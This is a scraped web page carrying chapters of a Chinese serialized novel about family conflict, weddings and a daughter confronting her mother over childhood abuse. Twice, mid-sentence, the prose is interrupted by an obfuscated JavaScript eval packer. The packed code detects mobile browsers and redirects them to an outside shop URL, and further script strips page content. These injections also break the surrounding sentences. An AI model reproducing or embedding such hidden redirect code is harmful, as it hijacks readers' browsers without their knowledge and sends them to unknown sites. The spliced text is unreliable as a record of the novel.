恰逢小陈娘家亲戚走了过来,小陈和杨锦姿打了招呼,便抱着孩子过去接待了。 杨锦姿用略带嘲讽和忍不住要发笑的复合表情盯着伍义,字正腔圆地说:“噢,人生重要的下雨天……”伍义有些尴尬,眼神闪躲,避着她视线。 这时,梁挥也过来了。他远远看见到杨锦姿在,停了一步,还是继续走到两人身旁。先和杨锦姿打过招呼,随后把礼金红包递给了伍义。 “锦姿,上次婷婷转学的事,多谢你帮忙。”梁挥挤出笑容,小声对杨锦姿说道。 杨锦姿很平淡地回他:“没什么,我是帮小孩的忙,又不是帮你。那时是凑巧,还能帮上忙,现在我辞了学校的工作专心忙厂子里的事务,要是这时候要我帮忙,那我也没办法了。谢过了的事,就不旧事重提了。” 伍义怕梁挥尴尬,忙说道:“哎呀,我妈今天早上还提起你呢,说你毛笔字写得好!你看,今天帮忙登记礼金的是我舅舅,我妈说我舅的字像鸡爪划的一样。”他边说,一边望向厅外长桌那边——伍义的舅舅正坐在椅子上,低着头在登记簿上写字。 梁挥顺势接下话:“那我先去那边帮忙看看。”伍义连忙把手上的红包递给梁挥,让他一同拿过去。 见梁挥走开了,伍义似乎不经意地问杨锦姿:“杨姿,我前几个月去夏口办事,在商场附近好像看到你了。本来想去打招呼的,但看见有个年轻男孩子和你在一起,就不便过去打搅了。你……谈恋爱了?” 杨锦姿笑起来,反问他:“年轻男孩子?我不年轻?”接着说,“那是之前学校我们班来的新老师,从他来学校起,就一直追我。后来你知道,我和梁挥分开了,就和他约会了一段时间。相处下来,开心么是蛮开心的,就是不太合适,我也忙着工厂的事,就淡了、散了……换了。” 伍义沉默了一会儿,看了眼长桌那边登记礼金的梁挥,又小声问杨锦姿:“杨姿,你之前一直提的新老师,不是隔壁班的小姑娘么?你还说,新老师总是请教你,你顺手帮她们忙,她们请你吃饭什么的。” “隔壁班的新老师是小姑娘,我几时和你们讲过我们班的新老师是小姑娘?” 杨锦姿这一问,伍义倒不敢看她了,便不再多言,招呼杨锦姿:“走,我带你去宴会厅里坐。”杨锦姿摆手:“不用麻烦,我随便找位置坐就好了,你赶紧去招呼别的客人吧。”末了,她似乎随口一说:“伍义,今天这小雨下得真好,看来你的人生,终于迎来‘正品’的下雨天了。有儿万事足,恭喜你哟。” 伍义听着这话,心里不是滋味,心想:杨姿呛人还真是一如既往!他在厅外停留了一会,正准备招呼梁挥一起进去时,被跑向隔壁厅的几人不小心绊了一下。只听见隔壁厅吵吵嚷嚷的,也不知怎么了。 石磊参加老同事老姚儿子的婚宴,老同事们坐一桌。席间,退休前和石磊就不对付的老刘喝多了,嘴里一直劈里啪啦个不停。石磊不喜欢这种场合,碍于和老姚关系好——对方认真发帖,再三打电话请自己;毕竟他和老姚都是老派人,实在不好拂了老姚的面子。这会老刘借酒没轻没重地乱嚼牙巴骨,桌上的老同事都知道他德行,石磊和大家想得一样:不搭理他便好。 “哎呀,我们这桌老家伙屋里的伢儿们,都成家了吧?老姚倒霉,儿子都三十五了才终于成家,要不然啊,就打光棍了哦!现在结不成婚的人,多得很呐!”老刘又喝了口酒,自顾自说起来。其他人听到这话,都不好接,干脆当没听到。 老刘见没人搭话,心想也是,自己说得不清不楚的,便把话锋对准石磊:“咦呀!老石啊,你女儿今年三十七了吧?唉哟,前几年看到你女儿,还是冇得变化,像个假儿子一样——那几短的头发,还染个灰不溜秋的颜色。她一直不结婚,未必你不急吧?” 石磊压住火,平静地回道:“这就不兴您家来操心了。和您家不相干的事,说得倒像您真能操上心、帮上忙一样。” 老刘打量石磊一眼,哼笑,转眼看向身旁座位的秦老师,说道:“唉哟,我是帮不上什么忙,我家伢又不用我操这心。算了,不说了,结不成婚又不要紧,反正本身就绝后了。” 秦老师惊了一下,拉着老刘胳膊说:“老刘,你少喝一点了!你怕不是喝太多了,瞎说些什么。”说完,他尴尬地望向周围老同事,心想自己真是背时,好巧不巧坐到这个没德行的酒鬼旁边! 同桌的廖老师听不下去了:“老刘,你是什么个意思?酒喝多了就能倚疯作邪吧?我们在座的,一半都生的是姑娘伢,你说哪个绝后了?你嘴巴东的西的说什么呢?” 老刘推开秦老师拉着他胳膊的手,哼哼嚷嚷对廖老师说:“我又没有说你,你对号入座搞什么?老石家姑娘,就不可能结婚!遮遮掩掩冇得用,该传出来还是会传出来的——他家伢就是个不男不女的!” 石磊听到后气得站起来,刚准备骂老刘,老刘嬉皮笑脸地看着他,补了句:“我还真能帮上忙哩!你屋里伢不像女的,老廖家儿子不像男的,你们两家凑一起多好,一石二鸟,两家的问题合并解决了!”说罢,他又转头朝老廖笑起来。 老廖抓起桌上的烟盒就朝老刘拍去:“七月半(中元节)还没到,你就煽阴风、点野火!平时你背后区区拱拱(私下讲闲话)就算了,今朝还敢当面鬼打胡说!”她拨开拉架的秦老师,直接抓着老刘要动手。 众人见拉不开他们,只能把他们往厅外推——毕竟是别人家的喜宴,怎么搞出“擂台”来?这不是塌东家的台嘛!到了厅外,老刘还想对老廖还手。石磊拉住老刘,被老刘把脖子乱抓了一通。他强忍着没有对老刘动手:何苦和这个醉鬼较真?愤怒过后,心里只剩无限悲痛。 东家老姚和几个亲戚也赶出来拉开他们,隔壁两个厅的宾客听到动静,三三两两凑过来,隔着一点距离看热闹。喜宴有人打架,真成了笑话。 石磊心里苦:自己来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈齐和小纪也是处暑结婚。新娘子娘家没过来多少亲戚,只有本地的同学过来了几个。宴会厅布置成梦幻的粉色,到处是火烈鸟主题装饰——小纪喜欢火烈鸟,和策划沟通都是她;陈齐说都依她,也就不操心了。陈齐的父亲在婚礼前一段时间摔了一跤,这次是陈齐三个姐姐推着轮椅接过来的。他满面红光,气色不错——是啊,人逢喜事精神爽,虽说自己之前想三婚没实行,今朝儿子结婚要添孙儿了,也是喜事。 陈齐的三姐低声提醒爸爸:“您不要逢人就说要添孙子了!什么都说出来做什么,都是接儿媳妇进门的人了,也不注意些。小齐他们还没对外讲,您硬是要宾客来吃个酒都议论上小纪的肚子吧?” 陈齐爸爸不以为意:“我看你真是憨里憨气!你是‘迂腐先生’吧?这是什么不能说的事吗?再说,别人晓得了又有么事?我要添孙子了,我高兴!你看陈齐他两口子敢不敢说我?” 姐妹几个交换了眼色,摇摇头不作声了。 赵秋过来时,陈齐刚好走出宴会厅打电话。见了赵秋,他慌忙示意她等一下,在一旁快速和电话那头说好后,就走向赵秋这边;这会子,赵秋刚把礼金给到负责登记的陈家亲戚。 “火火(本地方言“禾”和“火”同音),你还是先进去坐,待会一起吃了再走哦!”陈齐笑着迎上来,放松地说,“我就是怕你‘声不作气不作’地给了礼金就跑,才特故地(故意、特地)在这边等你呢!” 赵秋和气地笑笑,回道:“大齐,恭喜你结婚!百年好合,早生贵子。你也真是的,转你红包你不收,难为我线下跑一趟。我还忙着准备出差培训呢,明天一早走,今天就不吃酒了。多谢你!” 陈齐收起笑容,带点责怪的语气回道:“不兴这样啊!我线上不收,还不是怕你不过来。你还真不留下来吃了再走?明天出差,也不影响今天的夜饭吧!你是因为二鸟(石唯)的事,对我有意见?还是……她还对我有想法?” 赵秋眼神复杂地看着陈齐,尽量憋住自己的嘲讽,靠理智抻平嘴角的笑,说道:“石唯不是气量小的人,她都翻篇了,你还在纠结吗?再说,她人怎么样,你们一起工作这么久,你又不是心里没数。我也不至于你没请她、只请了我,就故意不来。大家都是根据自己生活安排来的嘛,毕竟谁不是以自己为主?你不也一直是这样嘛!” 见陈齐不作声,赵秋又说道:“工作上合不来也挺正常,能合作就一起工作,合不来就早点散掉。你把我不来和她联系到一起——知道的人,往你俩工作不合上想;不知道的,还得误会是‘你俩恋爱分手了,不好见面’呢!话说,你们公司喜欢嚼牙巴骨的人也不少吧?” 陈齐看着赵秋,点点头又笑道:“我只是顺嘴一问。没请石唯,是我不好意思——你比我更清楚,她性格太刚,有点过了。我请了她,她也不会来;以她的性格,礼金肯定还是会给的,我这样就纯属自讨没趣了。” 他又解释道:“她在的时候,公司年纪大的阿姨们,是喜欢议论这个、打探那个的私事,连我都被她们说过几句。阿姨们闲着没事,谁的事都讲几句,也不算是针对她吧?我想石唯应该不会怪我这些吧?” “她不是那种背后说人是非的人,你要问她什么,可以直接问,不用一句一句探我的话。”赵秋温和地笑道。 “嗯,我是有事找她帮忙,就是多少有点不好意思开口。” “你还不好意思?你自己想呗,反正你也了解她。我看你问我心里就是有底了。我是不会帮你传话的!”赵秋调侃着。 赵秋说完,看了眼手表,对陈齐表示自己着急回去,道别后就利索地走了。陈齐一直追着她脚步,送她到电梯那边,又简单说了点客套话,帮她按好电梯,才转身回宴会厅。 回去路上,赵秋看着车窗外的小雨,想到鹊桥路的栾树花开了。她早上在那边菜市场买菜时,见围着好些人,是一对中年夫妻吵架,她听到一句:“从前以往的话,都不消说(不用说,不提了),就在这西(这里、这儿)斩断!” 宴会厅里,婚礼上新人走过撒满花瓣的红毯;行道上,行人和车流压过雨天落满小米黄栾树花粒的路面。人情、世情,像婚礼上噼里啪啦鞭炮礼花炸开热腾腾的生活,那是通往幸福之路的喜宴。“从前以往”?谁能斩断俗世欲念? 只是什么都不消说了。过日子像季节变化,高温退了,小雨来了;夏天过了是秋天,秋天走了是冬天,春去秋来又一冬。鞭炮礼花炸完了,纸皮屑比马路上的栾树花粒好打扫一些吧? 23. 中元节 赵秋是七夕节后一天的周六回来的,出差培训一周很辛苦。杜雨在高铁站接到她,她上车没说几句话就睡着了。到鹊桥路的家,刚进门,赵秋残存的睡意被亮晶晶的布置晃散了——杜雨把家里装点得很有过节气氛。 “蛮漂亮的,多谢你哦!虽然节日过了。谢谢!”赵秋笑笑。 杜雨把行李提进来,用酒精棉把箱子外缘和轮子都擦了擦,说道:“本来以为你昨天下午回来的,你去看看那几瓶花喜不喜欢。这一周累得不行吧?歇一会儿可以早点洗漱休息。” 家里摆了好几瓶绣球花,海蓝色的、绿色的、复古秋色的;客厅墙角多了一盆40厘米高的老桩多肉“黑法师”,杜雨还在花盆中间系了大红色的双层蝴蝶结。 见赵秋盯着那盆“黑法师”,杜雨连忙过去,说道:“你之前把娘家那盆搬去十一中房子里,我想你是很喜欢的,就到花市挑了一盆摆到咱们家里。” 赵秋看着杜雨浅浅笑着,回他:“蛮好的,谢谢你,蝴蝶结……很漂亮。” 杜雨大笑起来:“你要是不喜欢这大红蝴蝶结,我就换掉,是不是想说我审美老气来着?” 赵秋被他逗笑了,轻轻推了他一下:“挺喜庆的!谢谢你,我们一起把它养护好。” 夜里睡觉前,杜雨提起中元节快到了,今年他来准备。赵秋被他一说,赶紧翻开手机日历:是啊,中元节还有一周就到了,又是去老家祭拜聋阿公、顺便探望爷爷奶奶的时候。赵秋心里还是高兴的,毕竟清明节时杜雨对这些还不上心,这段时间他还是改变了很多。杜雨妈妈定期和赵秋联系,赵秋知道杜雨和他父母的关系也更好了些,大家都在尽力。她回杜雨:“那就麻烦你采买些东西好了。” 赵秋太困了,很快睡下,想着石唯去外地一个多月了,应该快回来了——她记得石唯一直是早早就会叠起元宝来准备中元节祭祖的。 石唯去西南那边上了一位很喜欢的玻璃艺术家的课程,那位艺术家和当地的一家玻璃工坊合作授课,为期十天。玻璃课程结束,她又去华东那边上了缝纫类的手作课程,时长二十天左右;课程结束后顺,她便到当地探亲访友。她在初九那天回来了,她不在的期间,母亲胡允华时不时来渡口村的老房子打扫卫生,给她种的花草浇水。 石唯进家门后,没想到母亲在这边。胡允华先说话了:“回来了?胡爹爹(外公)和你尕尕(外婆)还好吧?” “蛮好的,两老身体都很旺,跟那几天和您视频通话里看到的一样。舅舅舅妈身体也蛮好的,那天视频里还邀请你和阿姨过去玩,要我回来也再同你们说一下。您和阿姨趁胡爹爹和尕尕身体好,多去陪陪他们也好。”石唯说过后,就先把行李往后面自己房间拖。 从房间出来,石唯有点尴尬——她一向不知道如何和胡允华相处。她把给父母买的伴手礼,还有舅舅舅妈托她带给父母的礼物拿出来,跟胡允华说了一下,递了过去。 “我知道你不爱见我,我今天是过来给你把房间都打扫一下的,花也都浇过了。但是今年这天道太热了,后院园子里你乱种的菜,我实在吃不起那个亏给它们浇水,都热死了。不过,我看你也是乱撒乱种没上心的,不要紧吧?我也是服了你,一个年轻伢,还有心思搞菜园子,累死个人!田园生活还是等退休再搞哦,你要把自己的正事当事。”胡允华接过一大堆东西,放到一边。 “园子没关系,菜死了就死了。多谢您过来帮我打扫和浇水,谢谢!我先去房里收拾东西了。”石唯并不看母亲,说完转身要回房。 胡允华叫住石唯:“石唯,你等一下,帮我剪一下白头发吧。” 胡允华六十三岁了,头发早已白了很多。以前只是前额那一块长白发时,她都是让丈夫石磊帮她挑出来剪掉;后来白发越来越多,她也就不剪了——越剪越让人心乱心慌,还是染发膏更有用些。 在天井里,胡允华坐在小板凳上。石唯拿着剪线头的U型小剪刀站在母亲身后,仔细拨着母亲的头发,她很难过,母亲的白头发比她平时扫过一眼以为的多得多,她很久没有仔细看过母亲,她像母亲曾经逃避她一样逃避着母亲。 “载舟毕业了吧?他每逢过节都给我发信息问候,我很感动,他一直还念着我这个姑妈。我去年去你姐那边,际航放暑假回来,还专门坐高铁到梁溪看我,送了我一枚他自己做的贝雕胸针。虽然你舅家离梁溪近,但孩子还是很有心的。”胡允华提起了石唯舅舅家的两个孩子。 石唯把母亲的白头发挑出来从根部剪掉,回道:“他们一直都蛮好的,小时候就是很善良、有教养的孩子。载舟博士毕业了,已经在医院工作,以后很难回国了,舅舅说趁自己现在不是特别老,会一年飞两次去看他;际航离得近些,不知道他接下来是什么打算——他学的雕塑,我这次过去听他说,想把胡爹爹以前做的麻生意捡起来。他课外一直在学习纺织相关的内容,也上了不少相关手工课程。胡爹爹还打趣他,说他怎么想起做家里早就淘汰的营生,苦死了!舅妈倒是笑笑,说‘老大拿手术刀刀,老二要是真做纺织了,也是拿剪刀,一样的’,说随便际航做什么都支持他。” 胡允华叹了口气:“我念书时,赶上了你胡爹爹那两年苎麻生意不好,算运气不好吧!你阿姨和舅舅要考学时,他生意正是旺的时候。我年轻时总以为,我不是只念到那个地步——家里要是能支持我复读之类的,肯定不一样,心里是有怨的……算了,不说了,我多少同学没考上、没考好也就不读了,我至少还是继续念了书,后来有了不那么辛苦的工作,你胡爹爹他尽力了。现在看,当时棉纺厂、丝织厂、毛毯厂,全部不行了,这么多年过去,这边就剩无纺布了。那几年没什么人种苎麻、剑麻后,你胡爹爹生意完全做不下去,他还跑去湖南那边看了的,看人家厂子怎么能把麻布卖去东洋,不过他那几年没了心气和力气,很是受挫。生意不做了么,厂子和机器都拆了。” 石唯想:时间过得好快,自己有这样的感觉,那对胡爹爹和母亲来说,又是什么样的呢?她曾做过一个梦:梦里她还是个孩子,穿着红色小皮鞋和“小狗衔着三根彩色气球线”织花图样的毛衣,在雾桥那边的渡口坐轮渡去江对岸的老家石家村。轮渡上很多挑着菜过江卖完归家的小贩,有推着自行车的人,还有老人、年轻人、中年人、孩子们;她听着船声,看着江水,江风吹过她的脸,身边一位穿清雅白裙子年轻女性被吹乱的长头发丝迷住了她的睫毛。她揉揉眼,雾桥渡口越来越远——刚想到“怎么就自己一个人,家里大人怎么不陪着”,转眼又回到了雾桥渡口:没有轮渡,没有人,她穿着大人衣裳,再也回不到过去了。 石唯想起了石植:小时候,姐姐每次来渡口村都嫌她烦,不喜欢她缠着自己。有一次,姐姐送了石唯一个盗版的芭比娃娃,那个娃娃和市面常见的白白的金发娃娃不同,是棕色皮肤,石唯很喜欢这个娃娃。可邻居小朋友笑话她的娃娃是“泥娃娃”,石唯很伤心,她想起了那首《泥娃娃》的歌:“她是个假娃娃,不是个真娃娃,她没有亲爱的妈妈,也没有爸爸……”她不明白,自己为什么不能和爸爸妈妈还有姐姐一起生活?他们会来看她,可她又要一次次对他们的背影用力挥手说“拜拜”。那时石植念初二,可能察觉了石唯的悲伤,对她说:“不要听别人乱说,这个娃娃很漂亮的,我给你的娃娃多做几件漂亮衣服。”后来,石植用外婆家的废布头、各种毛线和扣子,缝了好几件娃娃衣服给石唯。当时石唯问她:“姐姐你好行(厉害)啊!你长大了是不是能做大人衣服啊?”石植笑着回妹妹:“嗯,我长大了做大人衣服,当服装设计师,给你也做衣服。”现在的石植,算是实现了那时随口一说的回应吗? 石唯在小学四年级学会了骑电动车。那天她在外婆家门口,见同村的小伙伴骑着小型电动车路过,很惊讶。小伙伴告诉她:“很简单,你不要怕——这个右把手旋转就是启动向前,这个捏一下就是刹车。你不要怕,往前骑,发觉不对就刹车,不摔跤就行。”在小伙伴让她试了两趟后,她就会了,也许是因为无知,所以无畏吧。她的人生中,也有过几次这样无畏的勇敢时刻。 表弟载舟和际航回老家玩时,石唯会骑电动车带着他俩去废弃石灰坑钓小龙虾,一路上大家吵吵嚷嚷说着话。载舟善良内敛、乐于助人,会说“我要是会看病就好了,可以把家里生病的金鱼治好”;际航喜欢奥特曼、喜欢画画,总笑石唯说的奥特曼太古老:“姐姐,你为什么总说昭和奥特曼?”石唯会笑着回他:“因为我小时候电视上放的都是这些奥特曼,我最喜欢艾斯奥特曼,你说的新奥特曼,我一个也不认识。”际航说以后要去奥特曼的国家画画。如今,这两个孩子好像某种程度上实现了小时候的愿望:载舟做了医生,而且现在还能看异宠,真能给小金鱼和小乌龟治病;际航在日本学雕塑,还经常画漫画,依旧是奥特曼迷,去了艾斯奥特曼人间体扮演者的见面会,特地寄了照片给石唯。 “时间不会带走我的心吗?”这次外出学习和探亲访友,只让石唯心怀感激——她很幸运已经拥有了很多。 胡允华见石唯不再说话,自顾自地叹了口气,说道:“石唯,因为你,搞得我现在霉头霉脑。” 长久的沉默后,石唯也给母亲的白发剪得差不多了。她放下U型小剪刀,拿来木梳子轻轻给母亲梳顺头发,语调平缓得像是在说着别人的故事:“妈,从小到大,只要你开口,一个语气,就能让我恐惧;你的一个否定,能让我随时崩塌。五岁那年,你带姐姐来这里看我,姐姐很开心——她小学毕业了,没有暑假作业。” 石唯继续把母亲的头发拢到一起,仔细梳着:“那次我真的好开心,想到晚上能和你们一起睡,我好兴奋。睡前您一直问我‘要不要小便?不许尿床啊!’,我当时回说“没有”,以为终于能抱着你们睡觉了。晚上我还是尿床了,您一直骂我,完全不顾我只是个五岁的孩子——您用比对成年人还严苛的标准对待我,认为告知不要尿床后,我却还是闯了祸,我是个麻烦鬼和不听话的孩子。妈妈,我才五岁,尿床是多么十恶不赦的事吗?您把我提起来,丢到墙角罚站。我已经不记得我站了多久,只知道穿着单衣和湿裤子的自己,在夏天也很冷。” 石唯用左手抹了把眼泪,继续道:“您好恨吧?您明明恨的是您的父母亲,为什么要把这种恨转嫁给我?我记得您提过,尕尕在你小时候打你,几十年过去了,您还记得那种‘被赶着打、被发泄怨气’的屈辱。那到我这里呢?您不是用同样的方式对我吗?一切的根源都是我不好和我不配,这样想您心里会轻松一点、会理直气壮一点?这么多年,和您相处的短暂时光里,我从来没有幸福过,只有恐惧、内疚和难过。我不知道我做错了什么——一个人只有足够完美,才有价值、才值得被爱吗?我作为‘人’本身,就没有价值、不配被爱?妈妈,我是一个人,不是证明你是‘荣誉母亲’的物品。” 胡允华克制着情绪,屏住呼吸,并不发声。 石唯把梳子放好,拿来干毛巾擦掉胡允华身上的碎发,转身准备离开,说道:“我五岁那年就知道,您一开口,只要一个眼神,我就知道——您永远不会对我满意。那天我在角落发抖,哭着不敢发声,是姐姐下床去隔壁房间喊了尕尕。后来尕尕帮我换了裤子,带我去她房间睡。尕尕脾气不好,一直骂我‘为什么尿床’,边骂边给我换裤子,但我从小到大最感激的就是胡爹爹和尕尕——我知道不管他们怎么想,都尽心尽力地照顾了我;或者说,您也能从他们为我做的一切事情里,看出他们对您的感情,他们本没有义务照顾我的。” 石唯反复告诉自己“都过去了,没必要哭了”,吸了吸鼻子,平复情绪后继续说:“在之后的许多年,您总把我尿床的事当笑话拿出来讲,对外人提起我‘不听话、从小就不好带’,得意洋洋地说‘惩罚了好长记性’,嘲笑我冻得发抖的样子。原来您记得啊,您知道我当时冷啊,那您记得我才五岁吗?您对我真的很坏,像别人欺负流浪狗一样欺负我!之后的很多事,您对我做的,和对五岁的我做的,有区别吗?没有,您一向这样。但是妈,这些不重要了——您这样对我,是因为您是这样的人,不是我是有多么坏。我作为‘人’本身,就算没有您认可的价值,也绝对有作为‘人’的尊严和爱。对您的感情,让我煎熬;现在,我对您更多是同为女性的理解和血缘带来的关系。我不爱您,我对你没有什么感情。我终于能说出来了,我终于能放过自己了。” 石唯说完就进了房间,反锁了门。 胡允华坐在天井的小板凳上,久久没有动。有眼泪流下,但不多,她吸了吸鼻子,又迅速抹掉眼泪。胡允华可以理解石唯的部分情绪,但她不后悔——过去的一切,都是过往人生,她一直是向前走的人。或许女儿比自己勇敢,至少很多往事不堪回首细想。胡允华不知道石唯为什么要找自己要公平,自己又何尝得到过公平?要怪天、怪地、怪父母、怪爱人、怪社会吗?她又很痛心——石唯居然和自己一样痛苦,那种“重复叩问无门”的隐痛,像在脏水里淌过后发起的细密疹子,抓溃皮肤也无法脱身,愈合后还有暗疤。她原本想对石唯讲石爸因为维护她们姐妹和同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988391|193651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事起冲突的事,想告诉石唯自己辞掉了侄子迅帆那边托管所工作,要去梁溪帮石植,想石唯多体谅一下年过六旬的父母。现在,什么也不用说了。如果一个人心里的负重,像拉磨的驴一样反复转圈,说什么都太残忍。胡允华愿意放过自己,也希望石唯是真的能放下。 石磊来接胡允华回去,问她:“石唯人呢?” “在房间里。” 石磊去敲了两下门,却发现房门反锁打不开;又喊了两声,石唯也没应。他怒了,转身拉着胡允华要走,却又气不过说道:“你是轻神骨头(方言:轻狂、不自重)吗?这个月隔三岔五来给她打扫卫生、浇花,她念了我们做爷和娘的好吗?什么德行!喊她都不应一声!这家里的长辈,是哪个对不起她了?我们谁对不起她?从外面回来,这么久没见到父母,连句话也不说,人都不出来——哪个得罪她了?谁欠她什么吗?”他又转头对着房门大声说:“这么多年,你还够不自由吧?我们是限制过你什么?三十多岁的人了,自暴自弃,年纪轻轻待在你胡爹爹的老屋做什么?你是想到这里老死吗?你躲,你有本事躲一生!不敢面对现实,我看你是想在这村子躲到死。” 他本来不想继续说的,又看到天井置物架上石唯离家前就用锡纸叠好的各式元宝、莲花,还有书桌上没来得及用毛笔写字的红色袱包,心里的火就蹭蹭往太阳穴冒,像热油锅里泼了一瓢水。他气不过,对着房门提高声音:“未必你刚回来就把毛笔和墨翻出来,准备写袱包吧?你真是有‘孝心’呢!对活着的爷娘一句话都不回,对不在了的长辈倒是上心。你胡爹爹和尕尕就是在外地,也会自己搞这些,用不着你操心;我们那边的祭拜你爷爷奶奶,也不需要你搞——你到底分不分得清主次啊?自己的事不操心,既不上班又不结婚,在这里准备中元节,我看你是嫌我和你姆妈活得太长了!你真是重感情呢!有无限哀思要寄托呢!我今天就跟你说清楚了,石家村那边不需要你过去祭祖,你管好你自己!” 胡允华拉住丈夫:“你不要说了,不是只有你一个人郁闷,她心里也苦,互相……互相为对方考虑一下吧。”她去饭厅提来拿了石唯带回来的伴手礼,推向石磊,埋怨地看了他一眼,小声说道:“回去吧。”她先走过长廊,穿过堂屋到门外后,在门口给石唯发了条信息:我和你爸回去了,你锁好前前后后的门窗,注意安全,好好休息! 石唯躺在床上,告诉自己不会哭——她相信很多事情是沟通的问题。这段时间,上完手作课去看了外公外婆,舅妈拉着她聊了很久。 石唯舅舅把高压锅工厂卖掉了;这几年外贸不好做,他正式退休,有了很多时间陪年迈的父母亲;舅妈觉得自己五十多岁正当年,轴承厂子办得不错,还在继续各地出差拓展客户,她去韩国拜访客户时,会抽时间飞去际航那边看看他。胡允华担心麻烦弟弟一家,也担心他们这几年生意不好,所以总是拒绝石唯舅舅一家“小住一段时间”的邀约;石唯的阿姨胡敏中,也是同样的想法。说起来,他们三姐弟一直以来都会替对方考虑很多。舅妈希望石唯回去后再劝劝母亲和阿姨,让她们趁外公外婆还在,过来玩一下、陪陪父母亲,不要有怕麻烦了舅舅的心理负担。 石唯舅妈把自己和胡允华的聊天记录给石唯看了——里面有很多对石唯的关心和担忧,大家都知道石唯不快乐,却不知道她为什么不快乐。 舅妈对她说:“你爸妈很担心你,可他们又很害怕和你沟通,怕你生气。可能你会说你没有生气,但我们每个人都能看出你很难过——你在忍耐,你很讨厌回应。你的痛苦,我们能看见。他们可能不是那么理解你,对你关心的方式也不是你能接受的,这不是你的错。我相信他们心是好的。很多时候,你妈妈都悄悄联系我,她知道我们关系好,想从我这边了解你为什么不开心。其实,我对你两个弟弟的教养方式,也造成过母子关系紧张:载舟从小到大学习一刻没放松过,太辛苦了,但是他从小就是很聪明的孩子,我真的很怕放松会耽误他,所以对他太严格了,其实他是很爱自由的孩子;际航一直都很活泼,喜欢画画和手工,我也总把他对标他哥哥,他有段时间连画画也没兴趣了,每天不开心。很多时候,是我们大人太焦虑——生活、工作还有大环境倒向我们普通人,我们再把焦虑泼向你们孩子们,其实你们做小孩的,没有做错什么。我真的非常抱歉,现在我学会了‘wait & hope’,能慢慢来、对他们耐心一点,支持他们就好。你也一样,按自己的心走吧:想做什么职业,想不想谈恋爱,都按自己的心走,不要再压抑自己,也不用勉强自己原谅谁。放过自己吧,轻松一点生活。我也会一直支持你,不要拒绝家人的帮助,可以开口的,也可以依靠家人的。” 石唯在舅舅家待了一周左右:和外公外婆一起整理两个表弟小时候的照片,还有一些他们回老家时的家族合照;和舅舅一起去钓鱼,聊了自己在渡口村的生活;晚上还会一起烧饭,等舅妈回来一家人一起吃晚餐。外公外婆从不催她结婚,关于姐姐石植的事,他们隐隐约约也有些了解,还主动问起来:“小唯啊,你姐姐在梁溪的那个朋友,你见过吗?他们好不好?姐姐生意还行吗?” “尕尕,我见过的,她们生意蛮好,过得也蛮好的。”石唯笑笑。 外公在一旁沉默了一会儿,还是开口说道:“一代不管隔代,我们都老了。你姐姐过得好就行,有人互相照应也好。你也好好过,我们就放心了。” 血缘是什么呢?石唯不知道,她只知道,自己真的很想父母亲友都开心。现在,大家都健康、平安,这样很好了吧?是的,自己已经很幸运了,要知足。 今天对母亲说出来的话,让她难过却有一丝放松。妈妈背对着自己,她哭了吗?不重要了——石唯知道自己会放下的,她会找到自己,就像她一直以来压抑自己一样。在江堤无人时段骑电动车,曾是石唯最放松的时刻:那会让她记起第一次骑同学家的车就轻松学会的瞬间,太美妙了。接下来的人生,她会多勇敢几次吗?她再次抹掉眼泪,告诉自己不用哭——很多事情真的没关系,到了某个时刻,放下的容易程度会让人怀疑:这些真的发生过吗? 夜里有些降温,还刮起风来。石唯打开窗子,透过纱窗,看着外面被风吹动的高高低低的一排杉树——它们轻轻晃着,好美。风吹着窗帘划过她的脸,她想起了圣诞树,还有寒冷冬日里许过的温暖愿望。无论何时,她都不会苛责每一个过去的自己:“每一个我都是我,我愉悦地接纳我的所有,不会怪过去的自己不够坚强、不够勇敢,我会告诉她‘会过去的’。” 24. 雾桥 白露那天,赵秋去渡口村石唯那边吃午饭。她到水果店选了盒柿子、买了些蜜桔,挑了两个椰子,见葡萄不错又拿了两串;开车去石唯那边很快就到了,临到了懊恼:路过农贸市场怎么没记起买只仔鸡。 石唯打开大门迎赵秋进来,接过她手上的东西,说道:“还买什么东西呢?就是想和你一起吃饭才约你的。” “我都忘了买仔鸡了,白露天要吃仔鸡!”赵秋心情不错,语气轻松,“对了,我看你外公家这边村子好多人家都种了柿子树,挂的果子都变了一半色,快熟的样子,你们门前的柿子树上怎么一个也没有?” 石唯把赵秋带到自己在饭厅旁的房间,招呼她先坐下休息,说道:“我买了板栗和仔鸡的。你等我洗点水果过来再同你讲,提起这柿子树就想笑,等我一小会儿。” 石唯洗好水果,倒了水,给赵秋端了过来:“喏,这紫色杯子是你专用。架子上有零食你自己拿啊,我先去厨房忙了,差不多快好了。” 饭桌上摆着泡蒸鳝鱼、板栗煨仔鸡、油焖茭白、清炒豌豆尖;待石唯把酸萝卜老鸭汤端出来,赵秋忙帮着调整隔热竹垫的位置。菜上齐了,两人开始吃饭。 “我们两个人吃不了这些吧?你搞太麻烦啦!”赵秋要石唯快坐下一起吃。 石唯摘下围裙,说道:“其实份量不大,我们能吃完的。”说着拿起公筷给赵秋夹了鳝鱼片。 “我第一次做板栗烧仔鸡呢。以前每逢白露,我外公就去菜场挑只仔鸡,拿给外婆烧,我是吃得蛮欢喜的。”石唯笑笑。 赵秋夹了一筷子尝了口,说道:“还可以嘛,烧入味了,蛮烂的,咬得动。我也不知道白露为啥要吃鸡,我们家也是爷爷奶奶会在这天烧。”说罢,她给石唯夹了只鸡腿。 “我还记得高三那年白露天,你拿了个好红的大柿子给我,扁扁的那种。我晚自习放学回去吃了,好甜。我外公家这棵树,结的也是这种扁柿子,村子里其他人家种的多是结小灯笼样的圆柿子。你今天也带了柿子来,多谢你!”石唯笑着说。 